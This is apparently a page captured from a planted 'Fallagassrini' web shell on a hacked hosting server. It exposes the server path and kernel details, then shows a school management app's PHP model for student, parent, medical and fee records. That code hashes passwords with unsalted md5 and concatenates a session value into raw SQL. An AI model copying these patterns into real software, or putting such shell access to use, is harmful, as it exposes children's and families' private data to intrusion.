? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/koolkids/school/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/koolkids/school/application/models/studentmodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<?php
/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
 class Studentmodel extends Model
{
     function Studentmodel()
     {
         parent::Model();
     }
     function searchadmission($postdata,$pagenum)
     {
         $data=array();
         $data['count']=0;
         $data['startpage']=$pagenum;
	 $data['endpage']=$pagenum;
         $data['results']='';
         return $data;
     }

     function insertadmission($postdata)
     {
         $dob=$this->mastermodel->convertdateformat($postdata['dob']);
         $data=array();
         $this->db->trans_begin();
         $masterid = $this->mastermodel->insertmasterdata();
         $tbl1Values=array('student_id'=>$masterid,
                'reg_no'=>$postdata['reg_no'],
                'first_name'=>$postdata['first_name'],
                'last_name'=>$postdata['last_name'],
                'preferred_name'=>$postdata['preferred_name'],
                'gender'=>$postdata['gender'],
                'ranking'=>$postdata['ranking'],
                'home_language'=>$postdata['home_language'],
                'dob'=>$dob,
                'classlevel_id'=>$postdata['classlevel_id']);
          $this->db->insert('student', $tbl1Values);

          $tbl1Values=array('student_id'=>$masterid,
                'date_admission'=>  $this->mastermodel->convertdateformat($postdata['date_admission']),
                'previous_nursery'=>$postdata['previous_nursery'],
                'child_bring_school'=>$postdata['child_bring_school'],
                'contact_name_1'=>$postdata['contact_name_1'],
                'contact_no_1'=>$postdata['contact_no_1'],
                'relation_1'=>$postdata['relation_1'],
                'contact_name_2'=>$postdata['contact_name_2'],
                'contact_no_2'=>$postdata['contact_name_2'],
                'relation_2'=>$postdata['relation_2']);
          $this->db->insert('student_admission_info', $tbl1Values);
          
          $tbl2Values=array('student_id'=>$masterid,
                'address'=>$postdata['address'],
                'city'=>$postdata['city'],
                'state'=>$postdata['state'],
                'country'=>$postdata['country']);
          $this->db->insert('student_address', $tbl2Values);
          
          $tbl3Values=array('student_id'=>$masterid,
                'illness'=>$postdata['illness'],
                'allergy'=>$postdata['allergy'],
                'surgery'=>$postdata['surgery'],
                'speech'=>$postdata['speech'],
                'inoculation'=>$postdata['inoculation'],
                'general_practitioner'=>$postdata['general_practitioner'],
                'contact_no_practitioner'=>$postdata['contact_no_practitioner'],
                );
          $this->db->insert('student_otherinfo', $tbl3Values);
          
              $masterid1 = $this->mastermodel->insertmasterdata();
              $tbl1Values=array('parent_id'=>$masterid1,
                    'title'=>$postdata['father_title'],
                    'name'=>$postdata['father_name'],
                    'preferred_name'=>$postdata['father_preferred_name'],
                    'surname'=>$postdata['father_surname'],
                    'relationship_type'=>'father',
                    'email'=>$postdata['father_email'],
                    'contact_no'=>$postdata['father_home_contact_no'],
                    'work_contact_no'=>$postdata['father_work_contact_no'],
                    'mobile_no'=>$postdata['father_mobile'],
                    );
              $this->db->insert('parent', $tbl1Values);

              $tbl2Values=array('parent_id'=>$masterid1,
                    'physical_address'=>$postdata['father_physical_address'],
                    'postal_address'=>$postdata['father_postal_address'],
                    );
              $this->db->insert('parent_address', $tbl2Values);

              $masterid1 = $this->mastermodel->insertmasterdata();
              $tbl1Values=array('parent_id'=>$masterid1,
                    'title'=>$postdata['mother_title'],
                    'name'=>$postdata['mother_name'],
                    'preferred_name'=>$postdata['mother_preferred_name'],
                    'surname'=>$postdata['mother_surname'],
                    'relationship_type'=>'mother',
                    'email'=>$postdata['mother_email'],
                    'contact_no'=>$postdata['mother_home_contact_no'],
                    'work_contact_no'=>$postdata['mother_work_contact_no'],
                    'mobile_no'=>$postdata['mother_mobile'],
                    );
              $this->db->insert('parent', $tbl1Values);

              $tbl2Values=array('parent_id'=>$masterid1,
                    'physical_address'=>$postdata['mother_physical_address'],
                    'postal_address'=>$postdata['mother_postal_address'],
                    );
              $this->db->insert('parent_address', $tbl2Values);
          
          $data['resfunction']='searchadmission';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }
     function searchstudent($postdata,$pagenum)
     {  
         $data=array();
         $ayear = $this->mastermodel->getsinglefieldvalue('academicyear','ayear','current','1');
         $this->db->from('student');
         $this->db->join('classlevel','classlevel.classlevel_id=student.classlevel_id');
         $this->db->join('master','master.masterid=student.student_id');
         $this->db->where('deleted', '0');
         $this->db->where('tc', '0');
         $this->db->where('ayear', $ayear);
         $postdata=$_SESSION['searchdata'];
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             $this->db->like($searchfield, $searchtext);
         }
         $count= $this->db->count_all_results();
         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             $this->db->like($searchfield, $searchtext);
         }
         $this->db->select('*');
         $this->db->from('student');
         $this->db->join('classlevel','classlevel.classlevel_id=student.classlevel_id');
         $this->db->join('master','master.masterid=student.student_id');
         $this->db->join('student_address','student_address.student_id=student.student_id','left');
         $this->db->where('deleted', '0');
         $this->db->where('tc', '0');
         $this->db->where('ayear', $ayear);
         if(!empty($_SESSION['related_records']))
         {
             $this->db->where("student.student_id in (".$_SESSION['related_records'].")",NULL,FALSE);
         }
         
         $this->db->order_by('masterid', 'desc');
         $this->db->limit($perpage, $start);
         $data['results']=$this->db->get();
         
         
         return $data;
     }

     function insertstudent($postdata)
     {
         $dob=$this->mastermodel->convertdateformat($postdata['dob']);
         $data=array();
         $this->db->trans_begin();
          $masterid = $this->mastermodel->insertmasterdata();
         $tbl1Values=array('student_id'=>$masterid,
                'reg_no'=>$postdata['reg_no'],
                'first_name'=>$postdata['first_name'],
                'last_name'=>$postdata['last_name'],
                'preferred_name'=>$postdata['preferred_name'],
                'gender'=>$postdata['gender'],
                'ranking'=>$postdata['ranking'],
                'home_language'=>$postdata['home_language'],
                'dob'=>$dob,
                'classlevel_id'=>$postdata['classlevel_id']);
          $this->db->insert('student', $tbl1Values);

          $tbl1Values=array('student_id'=>$masterid,
                'date_admission'=>  $this->mastermodel->convertdateformat($postdata['date_admission']),
                'previous_nursery'=>$postdata['previous_nursery'],
                'child_bring_school'=>$postdata['child_bring_school'],
                'contact_name_1'=>$postdata['contact_name_1'],
                'contact_no_1'=>$postdata['contact_no_1'],
                'relation_1'=>$postdata['relation_1'],
                'contact_name_2'=>$postdata['contact_name_2'],
                'contact_no_2'=>$postdata['contact_name_2'],
                'relation_2'=>$postdata['relation_2']);
          $this->db->insert('student_admission_info', $tbl1Values);
          
          $tbl2Values=array('student_id'=>$masterid,
                'address'=>$postdata['address'],
                'city'=>$postdata['city'],
                'state'=>$postdata['state'],
                'country'=>$postdata['country']);
          $this->db->insert('student_address', $tbl2Values);
          
          $tbl3Values=array('student_id'=>$masterid,
                'blood_group'=>$postdata['blood_group'],
                'illness'=>$postdata['illness'],
                'allergy'=>$postdata['allergy'],
                'surgery'=>$postdata['surgery'],
                'speech'=>$postdata['speech'],
                'inoculation'=>$postdata['inoculation'],
                'general_practitioner'=>$postdata['general_practitioner'],
                'contact_no_practitioner'=>$postdata['contact_no_practitioner'],
                );
          $this->db->insert('student_otherinfo', $tbl3Values);
          $data['resfunction']='searchstudent';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }

     }
     function updatestudent($postdata)
     {
         $data=array();
         $dob=$this->mastermodel->convertdateformat($postdata['dob']);
         $this->db->trans_begin();
         $this->mastermodel->updatemasterdata($postdata['masterid']);
          $tbl1Values=array(
                'first_name'=>$postdata['first_name'],
                'last_name'=>$postdata['last_name'],
                'preferred_name'=>$postdata['preferred_name'],
                'gender'=>$postdata['gender'],
                'ranking'=>$postdata['ranking'],
                'home_language'=>$postdata['home_language'],
                'dob'=>$dob,
                'classlevel_id'=>$postdata['classlevel_id']);
          $this->db->where('student_id',$postdata['masterid']);
          $this->db->update('student', $tbl1Values);
          
          $tbl1Values=array(
                'date_admission'=>$this->mastermodel->convertdateformat($postdata['date_admission']),
                'previous_nursery'=>$postdata['previous_nursery'],
                'child_bring_school'=>$postdata['child_bring_school'],
                'contact_name_1'=>$postdata['contact_name_1'],
                'contact_no_1'=>$postdata['contact_no_1'],
                'relation_1'=>$postdata['relation_1'],
                'contact_name_2'=>$postdata['contact_name_2'],
                'contact_no_2'=>$postdata['contact_name_2'],
                'relation_2'=>$postdata['relation_2']);
          $this->db->where('student_id',$postdata['masterid']);
          $this->db->update('student_admission_info', $tbl1Values);
          
          
         $tbl2Values=array(
                'address'=>$postdata['address'],
                'city'=>$postdata['city'],
                'state'=>$postdata['state'],
                'country'=>$postdata['country']);
          $this->db->where('student_id',$postdata['masterid']);
          $this->db->update('student_address', $tbl2Values);

          $tbl3Values=array(
                
                'blood_group'=>$postdata['blood_group'],
                'illness'=>$postdata['illness'],
                'allergy'=>$postdata['allergy'],
                'surgery'=>$postdata['surgery'],
                'speech'=>$postdata['speech'],
                'inoculation'=>$postdata['inoculation'],
                'general_practitioner'=>$postdata['general_practitioner'],
                'contact_no_practitioner'=>$postdata['contact_no_practitioner'],
                );
          $this->db->where('student_id',$postdata['masterid']);
          $this->db->update('student_otherinfo', $tbl3Values);
          
          
          $data['resfunction']='searchstudent';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }
     function searchparent($postdata,$pagenum)
     {
         $data=array();
         $this->db->from('parent');
         $this->db->join('master','master.masterid=parent.parent_id');
         $this->db->where('deleted', '0');
         $postdata=$_SESSION['searchdata'];
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             $this->db->like($searchfield, $searchtext);
         }
         $count= $this->db->count_all_results();
         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             $this->db->like($searchfield, $searchtext);
         }
         $this->db->select('parent.parent_id,parent.name,parent.email,parent.contact_no,parent.mobile_no,parent.profession');
         $this->db->from('parent');
         $this->db->join('master','master.masterid=parent.parent_id');
         $this->db->where('deleted', '0');
         $this->db->order_by('masterid', 'desc');
         $this->db->limit($perpage, $start);
         $data['results']=$this->db->get();
         return $data;
     }
     function insertparent($postdata)
     {
        
         $data=array();
         $this->db->trans_begin();
         $masterid = $this->mastermodel->insertmasterdata();
         $tbl1Values=array('parent_id'=>$masterid,
                'name'=>$postdata['name'],
                'relationship_type'=>$postdata['relationship_type'],
                'title'=>$postdata['title'],
                'preferred_name'=>$postdata['preferred_name'],
                'surname'=>$postdata['surname'],
                'work_contact_no'=>$postdata['work_contact_no'],
                'email'=>$postdata['email'],
                'contact_no'=>$postdata['contact_no'],
                'mobile_no'=>$postdata['mobile_no'],
                'profession'=>$postdata['profession']);
          $this->db->insert('parent', $tbl1Values);
          $tbl2Values=array('parent_id'=>$masterid,
                'physical_address'=>$postdata['physical_address'],
                'postal_address'=>$postdata['postal_address']);
          $this->db->insert('parent_address', $tbl2Values);
          $i=0;
          while (isset ($postdata['student_id'][$i]))
          {
                $tbl3Values=array('parent_id'=>$masterid,
                'student_id'=>$postdata['student_id'][$i]);
          $this->db->insert('parent_student', $tbl3Values);
          $i++;
          }
          if($postdata['username'] != '')
          {
              $password=md5($postdata['password']);
              $tbl2Values=array(
              'username'=>$postdata['username'],
              'password'=>$password,
              'profile_id'=>$postdata['profile_id'],
              'linkedto_id'=>$masterid);
                $this->db->insert('user', $tbl2Values);
          }
          $data['resfunction']='searchparent';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }

     }
     function updateparent($postdata)
     {

         $data=array();
         $this->db->trans_begin();
         $this->mastermodel->updatemasterdata($postdata['masterid']);
         $tbl1Values=array(
                'name'=>$postdata['name'],
                'relationship_type'=>$postdata['relationship_type'],
                'title'=>$postdata['title'],
                'preferred_name'=>$postdata['preferred_name'],
                'surname'=>$postdata['surname'],
                'work_contact_no'=>$postdata['work_contact_no'],
                'email'=>$postdata['email'],
                'contact_no'=>$postdata['contact_no'],
                'mobile_no'=>$postdata['mobile_no'],
                'profession'=>$postdata['profession']);
          $this->db->where('parent_id',$postdata['masterid']);
          $this->db->update('parent', $tbl1Values);
          $tbl2Values=array(
                'physical_address'=>$postdata['physical_address'],
                'postal_address'=>$postdata['postal_address']);
          $this->db->where('parent_id',$postdata['masterid']);
          $this->db->update('parent_address', $tbl2Values);
          $this->db->where('parent_id',$postdata['masterid']);
          $this->db->delete('parent_student');
          $i=0;
          while (isset ($postdata['student_id'][$i]))
          {
                $tbl3Values=array('parent_id'=>$postdata['masterid'],
                'student_id'=>$postdata['student_id'][$i]);
          $this->db->insert('parent_student', $tbl3Values);
          $i++;
          }
          if($postdata['username'] != '')
          {
                $password=md5($postdata['password']);
                $tbl2Values=array(
                'username'=>$postdata['username'],
                'password'=>$password,
                'profile_id'=>$postdata['profile_id'],
                'linkedto_id'=>$postdata['masterid']);
                $this->db->insert('user', $tbl2Values);
          }
          $data['resfunction']='searchparent';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }

     }

     function get_parent_student($parent_id)
     {
        $data=array();
        $ayear = $this->mastermodel->getsinglefieldvalue('academicyear','ayear','current','1');
        $this->db->where('ayear',$ayear);
        $this->db->where('tc','0');
        $this->db->where('deleted','0');
        $this->db->where('parent_id',$parent_id);
        $this->db->join('student','student.student_id=parent_student.student_id');
        $this->db->join('master','masterid=student.student_id');
        $Q=$this->db->get('parent_student');
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
     }
     function searchattendanceregister($postdata,$pagenum)
     {

         $data=array();

         $this->db->from('attendance_register');
         $count= $this->db->count_all_results();
         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;
         $this->db->select('id,student_id,date');
         $this->db->from('attendance_register');
         $this->db->limit($perpage, $start);
         $data['results']=$this->db->get();
         return $data;
     }
     
     function get_attendance_details()
     {
         $data=array();
         $this->db->from('attendance_register');
         $count= $this->db->count_all_results();
         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;
         if(!empty($postdata))
         {

         $searchtext=$postdata['searchtext'];
         $searchfield=$postdata['searchvalue'];

             $this->db->like($searchfield, $searchtext);

         }
         $this->db->select('id,student_id,date');
         $this->db->from('attendance_register');
         $this->db->limit($perpage, $start);
         $data['results']=$this->db->get();
         return $data;
     }
     function insertattendance($postdata)
     {

         $start_date=$this->mastermodel->convertdateformat($postdata['start_date']);
         $end_date=$this->mastermodel->convertdateformat($postdata['end_date']);
         $data=array();
         $this->db->trans_begin();
         $masterid = $this->mastermodel->insertmasterdata();
         $tbl1Values=array(
                'id'=>$masterid,
                'title'=>$postdata['title'],
                'start_date'=>$start_date,
                'end_date'=>$end_date,
                'description'=>$postdata['description']);
          $this->db->insert('attendance_register', $tbl1Values);

          $data['resfunction']='searchattendance';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }

     }

     function updateattendance($postdata)
     {
         $data=array();
         $start_date=$this->mastermodel->convertdateformat($postdata['start_date']);
         $end_date=$this->mastermodel->convertdateformat($postdata['end_date']);
         $this->db->trans_begin();
         $this->mastermodel->updatemasterdata($postdata['masterid']);
         $tbl2Values=array(
                'title'=>$postdata['title'],
                'start_date'=>$start_date,
                'end_date'=>$end_date,
                'description'=>$postdata['description']);
          $this->db->where('id',$postdata['masterid']);
          $this->db->update('attendance', $tbl2Values);
          $data['resfunction']='searchattendance';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }

     function insert_absence($reason,$mydate,$student_id)
     {
         $masterid = $this->mastermodel->insertmasterdata();
         $tbl1Values=array(
                'id'=>$masterid,
                'student_id'=>$student_id,
                'date'=>$mydate,
                'reason'=>$reason);
          $this->db->insert('attendance_register', $tbl1Values);

     }
     function insertchangestatus($mydate,$student_id)
     {
        $this->db->where('date',$mydate);
        $this->db->where('student_id',$student_id);
        $res= $this->db->delete('attendance_register');
     }

     function searchhomework($postdata,$pagenum)
     {
         $ayear = $this->mastermodel->getsinglefieldvalue('academicyear','ayear','current','1');
         $data=array();
         $this->db->from('homework');
         $this->db->join('subject','subject.subject_id=homework.subject_id');
         $this->db->join('classlevel','classlevel.classlevel_id=subject.classlevel_id');
         $this->db->join('student','student.classlevel_id=subject.classlevel_id','left');
         $this->db->join('master','master.masterid=homework.homework_id');
         $this->db->where('deleted', '0');
         $this->db->where('ayear', $ayear);
         $postdata=$_SESSION['searchdata'];
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             if($searchfield=="assigned_date" || $searchfield=="due_date")
             {
                 $searchtext=$this->mastermodel->convdatforsearch($searchtext);
                 $this->db->like($searchfield, $searchtext);
             }
             else
             {
                 $this->db->like($searchfield, $searchtext);
             }
             $this->db->like($searchfield, $searchtext);
         }
         $count= $this->db->count_all_results();

         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;

         $this->db->select('*');
         $this->db->from('homework');
         $this->db->join('subject','subject.subject_id=homework.subject_id');
         $this->db->join('classlevel','classlevel.classlevel_id=subject.classlevel_id');
         $this->db->join('student','student.classlevel_id=subject.classlevel_id','left');
         $this->db->join('master','master.masterid=homework.homework_id');
         $this->db->where('deleted', '0');
         $this->db->where('ayear', $ayear);
         if(!empty($_SESSION['related_records']))
         {
             $this->db->where("student.student_id in (".$_SESSION['related_records'].")",NULL,FALSE);
         }
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             $searchfield=$postdata['searchvalue'];
             if($searchfield=="assigned_date" || $searchfield=="due_date")
             {
                 $searchtext=$this->mastermodel->convdatforsearch($searchtext);
                 $this->db->like($searchfield, $searchtext);
             }
             else
             {
                 $this->db->like($searchfield, $searchtext);
             }
             $this->db->like($searchfield, $searchtext);
         }
         $this->db->group_by('homework_id');
         $this->db->order_by('masterid', 'desc');
         $this->db->limit($perpage, $start);
         $data['results']=$this->db->get();


         return $data;
     }

     function inserthomework($postdata)
     {
         $assigned_date=$this->mastermodel->convertdateformat($postdata['assigned_date']);
         $due_date=$this->mastermodel->convertdateformat($postdata['due_date']);
         $data=array();
         $this->db->trans_begin();
         $masterid = $this->mastermodel->insertmasterdata();
         $tbl1Values=array(
                'homework_id'=>$masterid,
                'subject_id'=>$postdata['subject_id'],
                'assigned_date'=>$assigned_date,
                'due_date'=>$due_date,
                'homework_title'=>$postdata['homework_title'],
                'homework_description'=>$postdata['homework_description']);
          $this->db->insert('homework', $tbl1Values);

          $data['resfunction']='searchhomework';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }

     }

     function updatehomework($postdata)
     {
         $data=array();
         $assigned_date=$this->mastermodel->convertdateformat($postdata['assigned_date']);
         $due_date=$this->mastermodel->convertdateformat($postdata['due_date']);
         $this->db->trans_begin();
         $this->mastermodel->updatemasterdata($postdata['masterid']);
         $tbl1Values=array(
                'homework_id'=>$postdata['masterid'],
                'subject_id'=>$postdata['subject_id'],
                'assigned_date'=>$assigned_date,
                'due_date'=>$due_date,
                'homework_title'=>$postdata['homework_title'],
                'homework_description'=>$postdata['homework_description']);
          $this->db->where('homework_id',$postdata['masterid']);
          $this->db->update('homework', $tbl1Values);
          $data['resfunction']='searchhomework';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }

     function searchfee($postdata,$pagenum)
     {
         $ayear = $this->mastermodel->getsinglefieldvalue('academicyear','ayear','current','1');
         $data=array();
         $this->db->from('fee');
         $this->db->join('master','master.masterid=fee.fee_id');
         $this->db->join('student','student.student_id=fee.student_id');
         $this->db->where('deleted', '0');
         $this->db->where('ayear', $ayear);
         $postdata=$_SESSION['searchdata'];
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             if($searchfield=="fee_date")
             {
                 $searchtext=$this->mastermodel->convdatforsearch($searchtext);
                 $this->db->like($searchfield, $searchtext);
             }
             else
             {
                 $this->db->like($searchfield, $searchtext);
             }
         }
         $count= $this->db->count_all_results();

         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;

         $this->db->select('*');
         $this->db->from('fee');
         $this->db->join('master','master.masterid=fee.fee_id');
         $this->db->join('student','student.student_id=fee.student_id');
         $this->db->where('deleted', '0');
         $this->db->where('ayear', $ayear);
         if(!empty($_SESSION['related_records']))
         {
             $this->db->where("student.student_id in (".$_SESSION['related_records'].")",NULL,FALSE);
         }
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             if($searchfield=="fee_date")
             {
                 $searchtext=$this->mastermodel->convdatforsearch($searchtext);
                 $this->db->like($searchfield, $searchtext);
             }
             else
             {
                 $this->db->like($searchfield, $searchtext);
             }
         }
         $this->db->limit($perpage, $start);
         $this->db->order_by('fee_date','desc');
         $data['results']=$this->db->get();
         return $data;
     }

     function insertfee($postdata)
     {
         $data=array();
         $this->db->trans_begin();
         $masterid = $this->mastermodel->insertmasterdata();
         
         $total_amount=0;
         $i=1;
         while (isset ($postdata['fee_category_'.$i]))
         {
              $total_amount+=$postdata['paid_amount_'.$i];
              $i++;
         }
         $tbl1Values=array('fee_id'=>$masterid,
                'fee_date'=>$this->mastermodel->convertdateformat($postdata['fee_date']),
                'student_id'=>$postdata['student_id'],
                'feecollection_id'=>$postdata['feecollection_id'],
                'payment_mode'=>$postdata['payment_mode'],
                'remarks'=>$postdata['remarks'],
                'total_amount'=>$total_amount
                );
          $this->db->insert('fee', $tbl1Values);
          
          $i=1;
          while (isset($postdata['fee_category_'.$i]))
          {
                $tbl3Values=array(
                    'fee_id'=>$masterid,
                    'fee_category'=>$postdata['fee_category_'.$i],
                    'fee_actual'=>$postdata['fee_amount_'.$i],
                    'fee_discount'=>$postdata['discount_amount_'.$i],
                    'fee_amount'=>$postdata['paid_amount_'.$i]);
              $this->db->insert('fee_particular', $tbl3Values);
              $i++;
          }
          
          $data['resfunction']='searchfee';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }

     }

     function updatefee($postdata)
     {
         $data=array();
         
         $this->db->trans_begin();
         $this->mastermodel->updatemasterdata($postdata['masterid']);
            $total_amount=0;
         $i=1;
          while (isset ($postdata['fee_category_'.$i]))
          {
              $total_amount+=$postdata['paid_amount_'.$i];

          $i++;
          }
         $tbl1Values=array(
                'fee_date'=>$this->mastermodel->convertdateformat($postdata['fee_date']),
                'payment_mode'=>$postdata['payment_mode'],
                'remarks'=>$postdata['remarks'],
                'total_amount'=>$total_amount
                );
          $this->db->where('fee_id',$postdata['masterid']);
          $this->db->update('fee', $tbl1Values);

          $this->db->where('fee_id',$postdata['masterid']);
          $this->db->delete('fee_particular');
          $i=1;

          while (isset($postdata['fee_category_'.$i]))
          {
                $tbl3Values=array(
                    'fee_id'=>$postdata['masterid'],
                    'fee_category'=>$postdata['fee_category_'.$i],
                    'fee_actual'=>$postdata['fee_amount_'.$i],
                    'fee_discount'=>$postdata['discount_amount_'.$i],
                    'fee_amount'=>$postdata['paid_amount_'.$i]);
              $this->db->insert('fee_particular', $tbl3Values);
              $i++;
          }

          $data['resfunction']='searchfee';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }

     function searchextraactivity($postdata,$pagenum)
     {
         $ayear = $this->mastermodel->getsinglefieldvalue('academicyear','ayear','current','1');
         $data=array();
         $this->db->from('extraactivity');
         $this->db->join('master','master.masterid=extraactivity.activity_id');
         $this->db->where('deleted', '0');
         $this->db->where('ayear', $ayear);
         $postdata=$_SESSION['searchdata'];
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             if($searchfield=="activity_date" )
             {
                 $searchtext=$this->mastermodel->convdatforsearch($searchtext);
                 $this->db->like($searchfield, $searchtext);
             }
             else
             {
                 $this->db->like($searchfield, $searchtext);
             }
             $this->db->like($searchfield, $searchtext);
         }
         $count= $this->db->count_all_results();

         $arr=$this->fpaginate->paginate($pagenum,$count);
         $data['startpage']=$arr[0];
	 $data['endpage']=$arr[1];
         $start=$arr[2];
         $perpage=$arr[3];
         $data['count']=$count;
         $this->db->select('*');
         $this->db->from('extraactivity');
         $this->db->join('master','master.masterid=extraactivity.activity_id');
         $this->db->where('deleted', '0');
         $this->db->where('ayear', $ayear);
         if(!empty($postdata))
         {
             $searchtext=$postdata['searchtext'];
             $searchfield=$postdata['searchvalue'];
             if($searchfield=="activity_date" )
             {
                 $searchtext=$this->mastermodel->convdatforsearch($searchtext);
                 $this->db->like($searchfield, $searchtext);
             }
             else
             {
                 $this->db->like($searchfield, $searchtext);
             }
             $this->db->like($searchfield, $searchtext);
         }
         $this->db->limit($perpage, $start);
         $this->db->order_by('activity_date','desc');
         $data['results']=$this->db->get();
         return $data;
     }

     function insertextraactivity($postdata)
     {
         $data=array();
         $this->db->trans_begin();
         $masterid = $this->mastermodel->insertmasterdata();
         $tbl1Values=array('activity_id'=>$masterid,
                'activity_title'=>$postdata['activity_title'],
                'activity_remarks'=>$postdata['activity_remarks'],
                'activity_event_name'=>$postdata['activity_event_name'],
                'activity_date'=>$this->mastermodel->convertdateformat($postdata['activity_date'])
                );
          $this->db->insert('extraactivity', $tbl1Values);
          
          $i=0;
          while (isset ($postdata['activity_class_id'][$i]))
          {
                $tbl3Values=array('activity_id'=>$masterid,
                'activity_class_id'=>$postdata['activity_class_id'][$i]);
              $this->db->insert('extraactivity_class', $tbl3Values);
              $i++;
          }

          $i=0;
          while (isset ($postdata['student_id'][$i]))
          {
                $tbl3Values=array('activity_id'=>$masterid,
                'student_id'=>$postdata['student_id'][$i],
                'activity_position'=>$postdata['activity_position'][$i]);
              $this->db->insert('extraactivity_winners', $tbl3Values);
              $i++;
          }
          
          $data['resfunction']='searchextraactivity';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }
     }

     function updateextraactivity($postdata)
     {
         $data=array();
         $this->db->trans_begin();
         $this->mastermodel->updatemasterdata($postdata['masterid']);
         $tbl1Values=array(
                'activity_title'=>$postdata['activity_title'],
                'activity_remarks'=>$postdata['activity_remarks'],
                'activity_event_name'=>$postdata['activity_event_name'],
                'activity_date'=>$this->mastermodel->convertdateformat($postdata['activity_date'])
                );
              $this->db->where('activity_id',$postdata['masterid']);
              $this->db->update('extraactivity', $tbl1Values);

              $this->db->where('activity_id',$postdata['masterid']);
              $this->db->delete('extraactivity_class');

              $this->db->where('activity_id',$postdata['masterid']);
              $this->db->delete('extraactivity_winners');

              $i=0;
              while (isset ($postdata['activity_class_id'][$i]))
              {
                    $tbl3Values=array('activity_id'=>$postdata['masterid'],
                    'activity_class_id'=>$postdata['activity_class_id'][$i]);
                  $this->db->insert('extraactivity_class', $tbl3Values);
                  $i++;
              }

              $i=0;
              while (isset ($postdata['student_id'][$i]))
              {
                    $tbl3Values=array('activity_id'=>$postdata['masterid'],
                    'student_id'=>$postdata['student_id'][$i],
                    'activity_position'=>$postdata['activity_position'][$i]);
                  $this->db->insert('extraactivity_winners', $tbl3Values);
                  $i++;
              }

            $data['resfunction']='searchextraactivity';
          if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();
            $data['res']=1;
	    return $data;
	  }

     }


     function searchtc($postdata,$pagenum)
     {
         $data=array();
         $this->db->join('student','student.student_id=tc.student_id');
         $this->db->from('tc');
